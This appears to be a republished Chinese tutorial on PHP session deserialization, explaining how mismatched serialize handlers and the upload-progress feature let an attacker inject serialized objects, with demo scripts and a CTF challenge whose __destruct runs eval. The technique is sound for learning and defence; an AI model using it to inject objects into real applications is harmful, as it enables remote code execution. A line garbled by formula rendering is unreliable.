您好,登錄后才能下訂單哦!
小編給大家分享一下PHP中session反序列化的示例分析,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!
session反序列化的漏洞是由三種不同的反序列化引擎所產生的的漏洞
其中
session.serialize_handler string--定義用來序列化/反序列化的處理器名字。默認使用php
若使用如下設置:
<?php //ini_set('session.serialize_handler', 'php'); //ini_set("session.serialize_handler", "php_serialize"); ini_set("session.serialize_handler", "php_binary"); phpinfo();
則改變了序列化的引擎
save_path則是session的存放路徑 我們可以通過改變ini_Set來查看不同引擎下的序列化的類型
三種引擎的存儲格式:
php : a|s:3:"wzk"; php_serialize : a:1:{s:1:"a";s:3:"wzk";} php_binary : as:3:"wzk";
漏洞產生在于
php引擎的存儲格式是鍵名 |serialized_string,而php_serialize引擎的存儲格式是serialized_string。如果程序使用兩個引擎來分別處理的話就會出現問題。
session_start() 會創建新會話或者重用現有會話。 如果通過 GET 或者 POST 方式,或者使用 cookie 提交了會話 ID, 則會重用現有會話。
所以如果存在兩種不同的引擎,就可以利用session_start()的自動反序列化,把我們想要傳輸的數據傳輸到服務器中:
eg:
<?php ini_set("session.serialize_handler", "php_serialize"); session_start(); $_SESSION['swaggyp'] = $_GET['a']; echo var_dump($_SESSION);
代碼1:用來保存在本地一個session
代碼2:
<?php ini_set('session.serialize_handler', 'php'); session_start(); echo var_dump($_SESSION); class student{ var $name; var $age; function __wakeup() { // TODO: Implement __wakeup() method. echo "wzk".$this->name; } }
用于讀取session然后進行反序列化 若wakeup方法被調用則說明反序列化成功
<?php class student{ var $name; var $age; } $a = new student(); $a->nage = "swaggyp"; $a->age = "1111"; echo serialize($a); //O:7:"student":3:{s:4:"name";N;s:3:"age";s:4:"1111";s:4:"nage";s:7:"swaggyp";}
該代碼用于生成一個一個序列
參考于:
生成后,在1中傳入這段序列化的值并在開頭加入 | 則在第二個文件被解析的時候,就會把|后的內容直接當成一個類去解析 實現我們的目的
成功了
php 這個session.serialize_handler
將 | 后的字符串反序列化,導致產生惡意對象。
upload過程中會產生session,存在一個鍵值對的值為filename(可控),如果filename被我們修改為|+序列化對象字符串(特殊字符記得轉義),filename |后的內容就會被認為是序列化的內容,進而反序列化產生惡意對象(實際上PHP中session是寫到文件中的,我們暫且忽略這一中間步驟對此處并無影響),在對象自毀時去執行__destruct()內的語句
<form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”> <input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” /> <input type =“ file” name =“ file” /> <input type =“ submit” /> </ form>
S E S S I O N 中 的 鍵 值 就 會 為 _SESSION中的鍵值就會為 SESSION中的鍵值就會為_SESSION[“upload_progress_ryat”]
,在會話上傳過程中,將對會話數據進行序列化/反序列化,序列化格式由php.ini中的session.serialize_handler
選項設置。 這意味著,如果在腳本中設置了不同的serialize_handler
,那么可以導致注入任意session數據
題目:
<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
構造登錄框和payload
看完了這篇文章,相信你對“PHP中session反序列化的示例分析”有了一定的了解,如果想了解更多相關知識,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。